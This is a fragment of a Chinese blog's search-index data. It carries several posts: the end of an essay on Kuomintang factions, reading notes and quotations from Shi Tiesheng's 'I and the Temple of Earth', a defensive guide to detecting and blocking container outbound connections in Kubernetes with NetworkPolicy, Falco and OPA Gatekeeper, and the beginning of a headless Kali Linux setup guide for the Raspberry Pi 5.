源于国民党迁台后外省人精英集团，强调中国统一与1992共识。 维护国民党传统意识形态，推动两岸交流，代表深蓝保守势力。 掌控党务，推动ECFA等两岸政策，在台湾选举中动员外省裔选民。 与黄复兴党部紧密交织，同为深蓝核心；与本土派对立，竞争党内主导权；继承CC系保守传统。 至2025年活跃，作为国民党主流派，影响主席选举，但面临本土化挑战。 黄复兴党部（Huang Fu-hsing Faction） 1950年代 无特定领袖，集体为退伍军人组织 源于迁台后国民党为安置退伍军人而设的党部，强调深蓝统一立场。 强化国民党军系忠诚，推动反独促统，代表退伍军人利益。 动员选举投票，推动国防政策，支持1992共识。 嵌套于外省派之下，与黄埔系遗产交织；与本土派冲突，常主导党内保守翼。 至2025年仍为国民党重要党部，影响深蓝传统，但成员老化导致影响力渐衰。 本土派（Local Taiwanese Faction） 1980年代末（李登辉时代） 李登辉、宋楚瑜、江启臣、侯友宜 源于李登辉推动国民党台湾本土化，强调台湾主体性与改革。 推动国民党民主转型与台湾认同，挑战深蓝主导，吸引浅蓝与中间选民。 推动黑金政治改革，支持台湾主权，引发新党/亲民党分裂。 与外省派/黄复兴对立，竞争改革方向；导致分裂如新党（1993）、亲民党（2000）、台联（2001）；继承改组派民主精神。 至2025年活跃，作为改革派推动国民党现代化，但影响力受限，代表主权本土主义者。 大中国传统主义者（Greater China Traditionalists） 2000年代后 洪秀柱、张亚中 源于迁台后深蓝统一派演变，强调一中原则与统一。 维护国民党正统中国认同，推动两岸融合。 推动文化交流，反对台独，在党内选举中代表极端保守翼。 交织于外省派与黄复兴，与务实中间派对立；继承西山会议派反共保守。 至2025年活跃，但边缘化，影响力限于党内深蓝支持者。 务实中间派（Pragmatic Centrists） 2000年代后 马英九 源于马英九时代两岸政策，强调1992共识与和平统一。 推动两岸经济合作，平衡统一与台湾利益。 签署ECFA，推动两岸对话，但引发太阳花运动。 与双轨策略派交织，同属外省派延伸；与本土派冲突。 至2025年仍有影响，马英九仍活跃，但政策面临质疑。 双轨策略派（Dual-Track Strategists） 2010年代后 朱立伦、韩国瑜 源于近年国民党策略调整，强调对话与国防并重。 寻求中间路线，吸引选民，推动国民党务实转型。 推动2Ds策略（对话与国防），参与选举。 与务实中间派合作，对本土派开放；平衡深蓝与浅蓝。 至2025年活跃，朱立伦作为主席代表此派，但面临2025年9月主席选举挑战。 主权本土主义者（Sovereign Localists） 2020年代 侯友宜、卢秀燕、江启臣、蒋万安 源于近年改革浪潮，强调台湾主权与民主价值。 推动国民党年轻化与本土认同，增强选举竞争力。 推动3D策略（威慑、对话、降级），加强国防与盟友关系。 嵌套于本土派之下，与深蓝派对立；代表新一代改革者。 至2025年新兴活跃，推动国民党转型，但需在党内选举中巩固地位。 ","relPermalink":"/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%9B%BD%E6%B0%91%E5%85%9A%E5%85%9A%E6%9D%83%E5%85%B4%E8%A1%B0%E5%8E%86%E5%8F%B2%E5%89%96%E6%9E%90%E5%BD%93%E4%BB%A3%E6%B2%BB%E7%90%86%E5%90%AF%E7%A4%BA%E4%B8%8E%E6%B4%BE%E7%B3%BB%E6%BC%94%E5%8F%98/","summary":"第一次读《党员、党权与党争：1924—1949年中国国民党的组织形态》时，我既被其厚重的历史材料所震撼，也被其结构化的分析所启发。这本书不是简单的政党史叙述，而是试图理解一个政党如何在中国近代国家形塑过程中扮演极其复杂的角色…","tags":["阅读思考","读书笔记","国学经典","方法解析","治理实践"],"title":"国民党党权兴衰：历史剖析、当代治理启示与派系演变","unix":1759752193,"year":"2025"},{"date":"2025-09-08","dateISO":"2025-09-08","permalink":"https://bluedog.website/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E6%88%91%E4%B8%8E%E5%9C%B0%E5%9D%9B%E9%98%85%E5%90%8E%E9%9A%8F%E7%AC%94%E7%BE%8E%E5%8F%A5%E6%91%98%E6%8A%84/","plain":"《我与地坛》是一篇在死亡阴影下展开的深度自白。失去双腿后，他频繁出入荒凉的地坛，思考着死亡的意义。死亡在他眼里并非单纯的终点，而是一种无法逃避的存在——它随时可能到来，却也因其必然性而赋予了生命某种庄重感。读这篇文章时，只感到一种冷静的透彻：死亡不是要被否认的敌人，而是需要被理解的伴侣。正因为生命有限，才会让我们对时间、对爱、对每一刻都格外敏感。\n孤独是贯穿全篇的底色。地坛的荒寂与他的内心形成了呼应，他在孤独中不断自我对话。孤独有时像是深渊，让人直面虚无；但孤独也提供了反思的空间，让人不得不追问“我是谁，我从何处来，又要去往何处”。可能孤独其实才是人生常态，它不是惩罚，而是一种成长的必修课。\n在死亡和孤独的反复思考中，生命的意义渐渐浮现。史铁生意识到，意义并非天赐，而是要在痛苦与困境中寻找。母亲的身影、地坛的草木、人与人之间短暂的温情，都构成了他理解生命的支点。生命意义不是宏大的口号，而是藏在日常的细节里。即便身体受限，人依然可以在思考、写作、爱与被爱中找到存在的价值。\n懒狗仅将那些让我震动的句子，把它们整理成“语录摘抄”，既是记录，亦是与自我对话。\n我与地坛 世上的很多事是不堪说的。你可以抱怨上帝何以要降诸多苦难给这人间，你也可以为消灭种种苦难而奋斗，并为此享有崇高与骄傲，但只要你再多想一步你就会坠入深深的迷茫了：假如世界上没有了苦难，世界还能够存在么？要是没有愚钝，机智还有什么光荣呢？要是没了丑陋，漂亮又怎么维系自己的幸运？要是没有了恶劣和卑下，善良与高尚又将如何界定自己又如何成为美德呢？\n就命运而言，休论公道。那么，一切不幸命运的救赎之路在哪里呢？设若智慧或悟性可以引领我们去找到救赎之路，难道所有的人都能够获得这样的智慧和悟性吗？\n我常以为是丑女造就了美人。我常以为是愚氓举出了智者。我常以为是懦夫衬照了英雄。我常以为是众生度化了佛祖。\n人真正的名字叫做：欲望。\n但是有些事只适合收藏。不能说，也不能想，却又不能忘。它们不能变成语言，它们无法变成语言，一旦变成语言就不再是它们了。它们是一片朦胧的温馨与寂寥，是一片成熟的希望与绝望，它们的领地只有两处：心与坟墓。\n我清清醒醒地听出它响在过去，响在现在，响在未来，回旋飘转亘古不散。\n但是太阳，它每时每刻都是夕阳也都是旭日。当它熄灭着走下山去收尽苍凉残照之际，正是它在另一面燃烧着爬上山巅布散烈烈朝辉之时。那一天，我也将沉静着走下山去，扶着我的拐杖。有一天，在某一处山洼里，势必会跑上来一个欢蹦的孩子，抱着他的玩具。当然，那不是我。但是，那不是我吗？但是太阳，它每时每刻都是夕阳也都是旭日。当它熄灭着走下山去收尽苍凉残照之际，正是它在另一面燃烧着爬上山巅布散烈烈朝辉之时。\n宇宙以其不息的欲望将一个歌舞炼为永恒。这欲望有怎样一个人间的姓名，大可忽略不计。\n我二十一岁那年 那影子将长久地在我心里晃动，给未来的日子带来幸福也带来痛苦，尤其带来激情，把一个绝望的生命引领出死谷；无论是幸福还是痛苦，都会成为永远的珍藏和神圣的纪念。\n但我相信世间桃源，世间确有此源，如果没有恐怕谁也就不想再活；倘此源有时弱小下去，依我看，至少讥讽并不能使其强大。千万年来它作为现实，更作为信念，这才不断。它源于心中再流入心中，它施于心又由于心，这才不断。欲其强大，舍心之虔诚又向何求呢？\n合欢树 人有时候只想独自静静地待一会儿。悲伤也成享受。\n有一天那个孩子长大了，会想起童年的事，会想起那些晃动的树影儿，会想起他自己的妈妈。他会跑去看看那棵树。但他不会知道那棵树是谁种的，是怎么种的。\n秋天的怀念 又是秋天，妹妹推我去北海看了菊花。黄色的花淡雅，白色的花高洁，紫红色的花热烈而深沉，泼泼洒洒，秋风中正开得烂漫。我懂得母亲没有说完的话。妹妹也懂。我俩在一块儿，要好好儿活……\n墙下短记 一些当时看去不太要紧的事却能长久扎根在记忆里。它们一向都在那儿安睡，偶尔醒一下，睁眼看看，见你忙着（升迁或者遁世）就又睡去，很多年里它们轻得仿佛不在。千百次机缘错过，终于一天又看见它们，看见时光把很多所谓人生大事消磨殆尽，而它们坚定不移固守在那儿，沉沉地有了无比的重量。\n其实秘密就已经是墙了。肚皮和眼皮都是墙，假笑和伪哭都是墙，只因这样的墙嫌软嫌累，要弄些坚实耐久的来加密。就算这心灵之墙可以轻易拆除，但山和水都是墙，天和地都是墙，时间和空间都是墙，命运是无穷的限制，上帝的秘密是不尽的墙。真要把这秘密之墙也都拆除，虽然很像是由来已久的理想接近了实现，但是等着瞧吧，满地球都怕要因为失去趣味而响起昏昏欲睡的鼾声，梦话亦不知从何说起。\n趣味是要紧而又要紧的。秘密要好好保存。探秘的欲望终于要探到意义的墙下。\n比如爱情，她能被物欲拐走一时，但不信她能因此绝灭。\n因而得有一种重量，你愿意为之生也愿意为之死，愿意为之累，愿意在它的引力下耗尽性命。不是强言不悔，是清醒地从命。\n不要熄灭破墙而出的欲望，否则鼾声又起。但要接受墙。\n接受残缺。接受苦难。接受墙的存在。哭和喊都是要逃离它，怒和骂都是要逃离它，恭维和跪拜还是想逃离它。\n寂静的墙和寂静的我之间，野花膨胀着花蕾，不尽的路途在不尽的墙间延展，有很多事要慢慢对它谈，随手记下谓之写作。\n黄土地情歌 人类的一切歌唱大概正就是这样起源。或者说一切艺术都是这样起源。艰苦的生活需要希望，鲜活的生命需要爱情，数不完的日子和数不完的心事，都要诉说。\n但上帝创造生命想必不是根据法，很可能是根据爱。\n一个人只能唱他自己以为真诚的歌，这是由他的个性和历史所限定的。一个人尽管他虔诚地希望理解所有的人，那也不可能。一代人与一代人的历史是不同的，这是代沟的永恒保障。\n任何以自己的观念干涉别人爱情的行为，都只是一股逆流。\n我的梦想 人反正是干不过上帝；但人的力量、意志和优美却能从那奔跑与跳跃中得以充分展现，这才是它的魅力所在。\n好运设计 既然是梦想不妨就让它完美些罢。何必连梦想也那么拘谨那么谦虚呢？\n没有痛苦和磨难你就不能强烈地感受到幸福。\n幸福感不是能一次给够的，一次幸福感能维持多久这不好计算，但日子肯定比它长，比它长的日子却永远要依靠着它。所以你不能失去距离，不能没有新的企盼和追求，你一时失去了距离便一时没有了路途，一时没有了企盼和追求便一时失去了兴致和活力，那样我们势必要前功尽弃，那道阴影必不失时机地又用无聊、用乏味、用腻烦和麻木来纠缠你，来恶心你，同时葬送我们的“好运设计”。\n绝望，当死亡到来之际这个绝望是如此的货真价实，你甚至没有机会考虑一下对付它的办法了。\n生命的意义就在于你能创造这过程的美好与精彩，生命的价值就在于你能够镇静而又激动地欣赏这过程的美丽与悲壮。\n记忆与印象1 关于往日，我能写的，只是我的记忆和印象。我无意追踪史实。我不知道追踪到哪儿才能终于追踪到史实；追踪所及，无不是记忆和印象。\n生命的开端最是玄妙，完全的无中生有。好没影儿的忽然你就进入了一种情况，一种情况引出另一种情况，顺理成章天衣无缝，一来二去便连接出一个现实世界。\n走出屋门，走进院子，一个真实的世界才开始提供凭证。太阳晒热的花草的气味，太阳晒热的砖石的气味，阳光在风中舞蹈、流动。青砖铺成的十字甬道连接起四面的房屋，把院子隔成四块均等的土地，两块上面各有一棵枣树，另两块种满了西番莲。西番莲顾自开着硕大的花朵，蜜蜂在层叠的花瓣中间钻进钻出，嗡嗡地开采。蝴蝶悠闲飘逸，飞来飞去，悄无声息仿佛幻影。枣树下落满移动的树影，落满细碎的枣花。青黄的枣花像一层粉，覆盖着地上的青苔，很滑，踩上去要小心。天上，或者是云彩里，有些声音，有些缥缈不知所在的声音——风声？铃声？还是歌声？说不清，很久我都不知道那到底是什么声音，但我一走到那块蓝天下面就听见了他，甚至在襁褓中就已经听见他了。那声音清朗，欢欣，悠悠扬扬，不紧不慢，仿佛是生命固有的召唤，执意要你去注意他，去寻找他、看望他，甚或去投奔他。\n生和死都不过取决于观察，取决于观察的远与近。\n时间限制了我们，习惯限制了我们，谣言般的舆论让我们陷于实际，让我们在白昼的魔法中闭目塞听不敢妄为。白昼是一种魔法，一种符咒，让僵死的规则畅行无阻，让实际消磨掉神奇。所有的人都在白昼的魔法之下扮演着紧张、呆板的角色，一切言谈举止，一切思绪与梦想，都仿佛被预设的程序所圈定。\n一心向往的只是这自由的夜行，去到一切心魂的由衷的所在。\n风过树林，带走了麻雀和灰喜鹊的欢叫。钟声沉稳、悠扬、飘飘荡荡，连接起晚霞与初月，扩展到天的深处，或地的尽头……\n人的故乡，并不止于一块特定的土地，而是一种辽阔无比的心情，不受空间和时间的限制；这心情一经唤起，就是你已经回到了故乡。\n这颤抖是一种诉说，如同一个寓言可以伸展进所有幽深的地方，出其不意地令人震撼。这颤抖是一种最为辽阔的声音，譬如夜的流动，毫不停歇。\n仿佛由众多无声的灵魂所凝聚，由所有被湮灭的心愿所举荐。于是那纤细的手指历经沧桑总在我的发间穿插、颤动，问我这世间的故事都是什么，故事里面都有谁？\n任何事物都因言说而在，不过言说也可以是沉默。\n历史因此令人怀疑。循着不同的情感，历史原来并不确定。\n历史难免是一部御制经典，文学要弥补它，所以看重的是那些沉默的心魂。历史惯以时间为序，勾画空间中的真实，艺术不满足这样的简化，所以去看这人间戏剧深处的复杂，在被普遍所遗漏的地方去询问独具的心流。\n沉默的深处悲欢俱在，无比生动。那是因为，沉默着的并不就是普遍，而独具的心流恰是被一个普遍读本简化成了沉默。\n大约任何声音、光线、形状、姿态，乃至温度和气息，都在人的心底有着先天的响应，因而很多事可以不懂但能够知道，说不清楚，却永远记住。那大约就是形式的力量。气氛或者情绪，整体地袭来，它们大于言说，它们进入了言不可及之域。\n丑弱的人和圆满的神之间，是信者永远的路。\n此岸永远是残缺的，否则彼岸就要坍塌。\n没有了庙的时代结束了。紧跟着，另一个时代到来了，风风火火。\n记忆与印象2 历史的每一瞬间，都有无数的历史蔓展，都有无限的时间延伸。我们生来孤单，无数的历史和无限的时间因破碎而成片断。互相埋没的心流，在孤单中祈祷，在破碎处眺望，或可指望在梦中团圆。记忆，所以是一个牢笼。印象是牢笼以外的天空。\n谁说我没有死过？出生以前，太阳已无数次起落悠久的时光被悠久的虚无吞并又以我生日的名义卷土重来。\n午后，如果阳光静寂你是否能听出往日已归去哪里？在光的前端，或思之极处在时间被忽略的存在之中生死同一。\n肉体已无禁区。但禁果也已不在那里。\n盼望与祈祷。彷徨与等待。以至漫漫长夏，如火如荼。\n“这就是那个爱情故事的全部。” 在那座废弃的古园里你去听吧，到处都是爱情故事。到那座荒芜的祭坛上你去想吧，把自古而今的爱情故事都放到那儿去，就是这一个爱情故事的全部。\n“这个爱情故事，好像是个悲剧？”\n“你说的是婚姻，爱情没有悲剧。”\n对爱者而言，爱情怎么会是悲剧？对春天而言，秋天是它的悲剧吗？\n“结尾是什么？”\n“等待。”\n“之后呢？”\n“没有之后。”\n“或者说，等待的结果呢？”\n“等待就是结果。”\n“那，不是悲剧吗？”\n“不，是秋天。”\n夏日将尽。阳光悄然走进屋里，所有随它移动的影子都似陷入了回忆。那时在远处，在北方的天边，远得近乎抽象的地方，仔细听，会有些极细微的骚动正仿佛站成一排，拉开一线，嗡嗡嘤嘤跃跃欲试，那就是最初的秋风，是秋风正在起程。\n万物萧疏，满目凋敝。强悍的肉身落满历史的印迹，天赋的才华闻到了死亡的气息，因而灵魂脱颖而出，欲望皈依了梦想。\n我，就是你遗忘的秘语。你，便是我丢失的凭据。\n一直到死亡。一直到尘埃埋没了时间，时间封存了往日的波澜。\n你要春天也去谛听秋风吗？你要少男少女也去看望死亡吗？不，他们刚刚从那儿醒来。上帝要他们涉过忘川，为的是重塑一个四季，重申一条旅程。他们如期而至。他们务必要搅动起春天，以其狂热，以其嚣张，风情万种放浪不羁，而后去经历无数夏天中的一个，经历生命的张扬，本能的怂恿，爱情的折磨，以及才华横溢却因那一条肉体的界线而束手无策！以期在漫长夏天的末尾，能够听见秋风。\n走向他必然的墓地。披一身秋风，走向原野，看稻谷金黄，听熟透的果实砰然落地，闻浩瀚的葵林掀动起浪浪香风。祭拜四季；多少生命已在春天夭折，已在漫漫长夏耗尽才华，或因伤残而熄灭于习见的忽略。祭拜星空；生者和死者都将在那儿汇聚，浩然而成万古消息。\n想念地坛 柔弱是爱者的独信。\n但要是“爱”也喧嚣，“美”也招摇，“真诚”沦为一句时髦的广告，那怎么办？ 惟柔弱是爱愿的识别，正如放弃是喧嚣的解剂。人一活脱便要嚣张，天生的这 么一种动物。\n扶轮问路（代跋） 此一处陌生的地方，不过是心魂之旅中的一处景观、一次际遇，未来的路 途一样还是无限之问。\n","relPermalink":"/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E6%88%91%E4%B8%8E%E5%9C%B0%E5%9D%9B%E9%98%85%E5%90%8E%E9%9A%8F%E7%AC%94%E7%BE%8E%E5%8F%A5%E6%91%98%E6%8A%84/","summary":"《我与地坛》是一篇在死亡阴影下展开的深度自白。失去双腿后，他频繁出入荒凉的地坛，思考着死亡的意义。死亡在他眼里并非单纯的终点，而是一种无法逃避的存在——它随时可能到来，却也因其必然性而赋予了生命某种庄重感。读这篇文章时，只感到…","tags":["阅读思考","读书笔记","国学经典","读后总结"],"title":"《我与地坛》阅后随笔\u0026美句摘抄","unix":1757324291,"year":"2025"},{"date":"2025-07-24","dateISO":"2025-07-24","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/kubernetes-%E5%A4%96%E8%81%94%E6%8E%92%E6%9F%A5%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%BD%93%E7%B3%BB%E5%85%A8%E8%A7%A3%E6%9E%90/","plain":" 在云原生架构广泛应用的今天，Kubernetes（K8s）集群中容器的非法外联行为成为攻防对抗的重要焦点。本文将从应急排查、强制隔离到策略防护，深入剖析如何精准定位外联源头、实时告警可视化，并构建前置的防控机制。\n一、外联应急排查核心流程 当 Kubernetes 中的 Pod 被删除后，如果没有删除 Pod 的控制器（如 Deployment、ReplicaSet 等），K8s 会自动根据定义的副本数量重新创建 Pod。以下是排查和解决该问题的步骤：\n查看 Pod 状态 kubectl get pods -A -owide 该命令列出所有命名空间下的 Pod，并显示它们的详细信息（包括 IP 地址、状态等）。\n删除指定 Pod kubectl delete pod \u003cpod-name\u003e -n \u003cnamespace\u003e 这条命令将删除指定的 Pod。注意，如果控制器定义了副本数量，Pod 会被自动重建。\n删除副本控制器 若想彻底停止 Pod 的重建，需要删除其管理的副本控制器（如 Deployment、ReplicaSet）：\nkubectl get deployment -A kubectl delete deployment \u003cdeployment-name\u003e -n \u003cnamespace\u003e 这将删除指定的 Deployment，控制器不会再调度新 Pod。\n强制删除 Pod 如果某个 Pod 被卡住或无法正常删除，可以使用以下命令强制删除：\nkubectl delete pod \u003cname\u003e --grace-period=0 --force -n \u003cnamespace\u003e –grace-period=0 会立即终止 Pod，而 –force 会跳过任何优雅终止的步骤。\n二、配置 NetworkPolicy 禁止外联访问 NetworkPolicy 是 Kubernetes 提供的一种机制，用于控制 Pod 的入站（Ingress）和出站（Egress）流量。默认情况下，Kubernetes 中的所有流量都是允许的，但通过配置 NetworkPolicy，可以限制容器的外联行为。\n配置限制外联的 NetworkPolicy 以下是禁止所有容器访问外部网络的示例配置：\napiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-egress-to-external namespace: default spec: podSelector: {} # 匹配所有Pod policyTypes: - Egress egress: - to: - ipBlock: cidr: 10.0.0.0/8 # 只允许与内部网络通信 在上述配置中，egress 部分通过 ipBlock 限制了 Pod 只能与 10.0.0.0/8 网段内的 IP 地址进行通信。这阻止了 Pod 向外部网络发起请求。\n配置细节与验证 默认拒绝：如果 NetworkPolicy 没有匹配规则，Kubernetes 默认会拒绝所有流量。 入站流量限制：通过类似方式，可以限制 Pod 接受来自外部的流量。 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-ingress namespace: default spec: podSelector: {} # 匹配所有Pod policyTypes: - Ingress ingress: - from: - ipBlock: cidr: 192.168.1.0/24 # 只允许来自192.168.1.0/24的流量 可以使用 kubectl describe networkpolicy 命令查看已配置的 NetworkPolicy。\n三、使用 Falco + Prometheus + Grafana 构建实时告警链路 Falco 简介 Falco 是 CNCF 毕业项目，专为容器环境设计的运行时威胁检测系统，主要用于实时监控系统调用（通过 eBPF 或内核模块），并基于预定义的规则检测异常行为（越权访问、外联行为、异常执行等），从而实现对云原生环境的运行时安全监控和威胁检测\n配置Faclo监控 下列规则通过检测容器发起的连接，排除本地网络段（10.0.0.0/8，172.16.0.0/12，192.168.0.0/16），并记录连接到外部 IP 的事件。\n- rule: Outbound Connection in Container desc: Detects outbound network connection from container to external IP condition: \u003e evt.type = connect and container and not fd.sip in (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) output: \u003e Container outbound connection to external IP: (command=%proc.cmdline connection=%fd.name user=%user.name) priority: WARNING tags: [network, outbound] ⚠️ 可结合 fd.sip 匹配非法目标IP，精确识别跨边界通信\n联动 Prometheus + Grafana 部署 Falco-exporter 输出指标至 Prometheus\n自定义 Grafana Dashboard：\n展示规则触发频次 告警IP/进程/容器关联 集群外联趋势可视化 触发告警机制 配置 falcosidekick 将告警推送至Slack/钉钉、Webhook（与 SOAR联动自动隔离）、Prometheus AlertManager\n四、使用 OPA Gatekeeper 限制容器配置越权 **Open Policy Agent（OPA）**是一个通用的策略引擎，可以用来控制 Kubernetes 资源的创建和管理。Gatekeeper 是 OPA 的一个 Kubernetes 控制器，可以在 Kubernetes 集群内执行政策管理。通过 Gatekeeper，用户可以定义并强制执行各种安全策略。\n场景：禁止容器部署时使用 hostNetwork=true（绕过网络策略） ConstraintTemplate 定义 apiVersion: templates.gatekeeper.sh/v1beta1 kind: ConstraintTemplate metadata: name: k8sdenyhostnetwork spec: crd: spec: names: kind: K8sDenyHostNetwork targets: - target: admission.k8s.gatekeeper.sh rego: | package k8sdenyhostnetwork violation[{\"msg\": msg}] { input.review.object.spec.hostNetwork == true msg := \"hostNetwork usage is forbidden\" } Constraint 绑定 apiVersion: constraints.gatekeeper.sh/v1beta1 kind: K8sDenyHostNetwork metadata: name: deny-host-network spec: match: kinds: - apiGroups: [\"\"] kinds: [\"Pod\"] 部署该策略后，凡是尝试启用 hostNetwork: true 的 Pod 将被 Admission Webhook 拒绝。\n类似策略应用示例 场景 策略目的 禁止使用特定镜像仓库 限制只允许使用内网私有镜像 必须指定 resources.limits 防止资源滥用 限制添加特权容器或 SYS_ADMIN 能力 阻止逃逸风险 拒绝 Service 类型为 LoadBalancer 防止公网暴露服务 五、可进一步强化的补充策略 加固边界安全 限制 egress IP：使用 Calico/Cilium 定义 finer-grained 网络策略； PodSecurityAdmission：阻止运行特权容器、允许特定用户UID运行； KubeArmor / Tetragon：进程级运行时行为检测（结合 LSM / eBPF）； Service Mesh ACL：基于 Istio 的细粒度流量访问控制； DNS防火墙：在 CoreDNS 前端部署 DNS proxy 拦截恶意域名； 集成审计平台 集群行为审计：如 kube-audit-log 与 ELK 联动； 网络行为归档：如接入 Suricata 抓包分析； 资产归属标签化：Pod 标签中记录部门/系统/应用，便于溯源； 结语 面对复杂多变的 Kubernetes 外联风险，单一工具或手段难以应对全局问题。建议将「事后排查响应」与「事前策略防控」融合，通过下列方法形成一套“检测、阻断、可视、溯源、响应”闭环，提升集群自身的弹性与抗压能力。\nPodSecurityPolicy：限制容器使用特权模式、强制镜像签名、限制容器运行的用户和组等； Service Mesh：在 Istio 等 Service Mesh 环境中，强化网络层的访问控制，实施细粒度的访问控制策略； MageScanning：使用工具如 Clair /Trivy 对容器镜像进行漏洞扫描，防止容器部署漏洞镜像。 ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/kubernetes-%E5%A4%96%E8%81%94%E6%8E%92%E6%9F%A5%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%BD%93%E7%B3%BB%E5%85%A8%E8%A7%A3%E6%9E%90/","summary":"在云原生架构广泛应用的今天，Kubernetes（K8s）集群中容器的非法外联行为成为攻防对抗的重要焦点。本文将从应急排查、强制隔离到策略防护，深入剖析如何精准定位外联源头、实时告警可视化，并构建前置的防控机制。","tags":["技术实践","Kubernetes","云原生安全","云安全","实操指南","方法解析"],"title":"Kubernetes 外联排查与防护体系全解析","unix":1753349277,"year":"2025"},{"date":"2025-07-10","dateISO":"2025-07-10","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%A0%91%E8%8E%93%E6%B4%BE%E5%88%B7kali%E5%85%A8%E9%85%8D%E7%BD%AE%E8%BF%87%E7%A8%8B/","plain":"本指南详细介绍如何在树莓派 5上以无显示屏 (headless) 方式部署 Kali Linux (XFCE 桌面环境)，并使用 FRP (Fast Reverse Proxy) 实现远程访问。内容涵盖从准备镜像、烧录 TF 卡、系统初始化配置，到安装常用工具、设置图形界面和 VNC 服务，以及通过 FRP 进行内网穿透远程连接的完整步骤。所有操作均针对无屏幕环境设计，并提供清晰的命令行示例（含注释）和配置文件示例。\n涉及工具介绍 硬件工具清单 树莓派5-16G版 树莓派5官方产品简介：https://datasheets.raspberrypi.com/rpi5/raspberry-pi-5-product-brief.pdf 树莓派5机械模组\u0026接口图纸：https://datasheets.raspberrypi.com/rpi5/raspberry-pi-5-mechanical-drawing.pdf 树莓派5官网入门文档：https://www.raspberrypi.com/documentation/computers/raspberry-pi.html 树莓派5铝合金CNC超薄外壳-带风扇版（请自行淘宝搜索购买） 官方PD充电器（Raspberry Pi 5 的性能比 Raspberry Pi 4 更高，使用功率不足的电源可能会遇到问题。故推荐使用高质量的 5V 5A USB-C 电源） TF卡-U3V30A2（64GB及以上） 读卡器 软件工具清单 Kali官方镜像：https://kali.download/arm-images/kali-2025.2/kali-linux-2025.2-raspberry-pi-arm64.img.xz 树莓派官方启动盘制作工具：https://downloads.raspberrypi.org/imager/ VNC工具：https://www.realvnc.com/en/connect/download/viewer/（笔者个人推荐） FRP：https://github.com/fatedier/frp 1. 准备 Kali 树莓派镜像与 TF 卡烧录 下载镜像： 前往 Kali Linux 官方网站获取适用于树莓派的最新ARM64镜像文件。例如，我们使用 kali-linux-2025.2-raspberry-pi-arm64.img.xz 镜像，它已包含 XFCE 桌面环境并支持树莓派 5 硬件。建议使用64GB或更大容量的高速 microSD TF 卡来容纳完整的系统和工具集。下载镜像后，可验证其 SHA256 校验值以确保文件完整无误。\n准备烧录工具： 安装 Raspberry Pi 官方提供的镜像写入工具 Raspberry Pi Imager（支持 Windows、macOS、Linux）。我们也可以使用 Balena Etcher 等工具或命令行 dd 进行烧录，但 Raspberry Pi Imager 提供了方便的预配置选项。\n烧录镜像到 TF 卡：\n将 TF 卡插入读卡器并连接电脑。确保备份卡内重要数据或使用全新卡。 打开 Raspberry Pi Imager，点击 “选择操作系统 (Choose OS)” 按钮。在列表中找到 “Kali Linux”（在 “Other specific purpose OS” 即可找到） 。选择与树莓派 5 硬件架构匹配的 64 位 Kali Linux 镜像。或在“使用自定义镜像”中上传已下载好的镜像。 点击 “选择存储 (Choose Storage)” 并选择目标 TF 卡。 （千万小心检查这一步骤，不要刷错哦！！！） （可选）预先格式化：如遇到写入错误，可先用 SD Card Formatter 等工具将 TF 卡完整格式化为 FAT32/exFAT 格式 。 在点击“写入”前，我们可以通过 Raspberry Pi Imager 的高级选项对系统进行预配置，以便实现开机无头登录。\n2. 使用 Raspberry Pi Imager 写入镜像并配置预设选项 打开高级配置： 在 Raspberry Pi Imager 中，选择好镜像和存储设备后，点击窗口中的齿轮图标 (或使用快捷键 Ctrl+Shift+X) 打开高级选项菜单。Raspberry Pi Imager 提供了一系列预设配置项，方便我们在烧录时写入系统配置 ：\n启用 SSH： 在“服务”中勾选 “Enable SSH”，选择允许使用密码验证登陆。这样系统首次启动时将自动开启SSH服务。 设置主机名： 在 “Set hostname” 中输入系统主机名，例如 kali-pi，便于在局域网内通过名称访问树莓派。 设置默认用户名/密码： 填写默认账户（例如用户名 kali）和密码（例如 kali）。Kali 默认用户名/密码即为 kali/kali 。若使用自定义用户名，注意Kali镜像可能会自动存在 kali 用户，可保持默认以简化流程。 配置 Wi-Fi： 填写 Wi-Fi 网络的 SSID（无线名称）和密码，选择 Wi-Fi 国家/地区代码。国家代码很重要，需与你的Wi-Fi所在地匹配（例如在中国可填 CN）。这将生成 Wi-Fi 配置，以便树莓派启动时自动连接无线网络。 区域和本地化： 设置本地语言和键盘，键盘布局选择 “us”（英文），时区选择 “Asia/Shanghai” 或相应时区。正确的区域设置有助于系统显示中文并使用正确的键盘布局。 配置完成后，点击“保存”，然后点击“写入”开始烧录镜像并应用上述预设选项。\n注意： 根据社区经验，Kali Linux 官方镜像不完全支持 Raspberry Pi Imager 的自动预配置功能 。这意味着即使在 Imager 中设置了 SSH 和 Wi-Fi，首次启动后未必生效。为确保无显示器情况下能够远程连接，我们可以采取手动方式辅助配置SSH和Wi-Fi（见下文）。\n等待写入完成： 烧录过程可能需数分钟到十几分钟。完成后 Imager 会验证写入结果。烧录成功后，先不要急于取出卡，我们还需进行一些手动配置（特别是确保 SSH 启用和 Wi-Fi 配置正确）。\n3. 首次启动前的手动配置（启用 SSH 和 Wi-Fi） 由于 Kali Linux 镜像在首次启动时默认关闭 SSH且无法通过 Raspberry Pi Imager 自动配置 Wi-Fi ，建议在插入树莓派并开机前，执行以下手动配置以确保系统能够连入网络并允许SSH登录：\n挂载分区： 烧录完成后，电脑上会出现两个新分区：一个名为 boot 的引导分区（FAT32），另一个是 Linux 根文件系统分区（ext4，Windows 下可能不可见）。我们主要操作 boot 分区，也就是 /boot 分区。\n启用 SSH： 在 boot 分区根目录下创建一个名为 ssh 的空文件（无扩展名）。这会在系统首次引导时触发 Kali 启用SSH服务 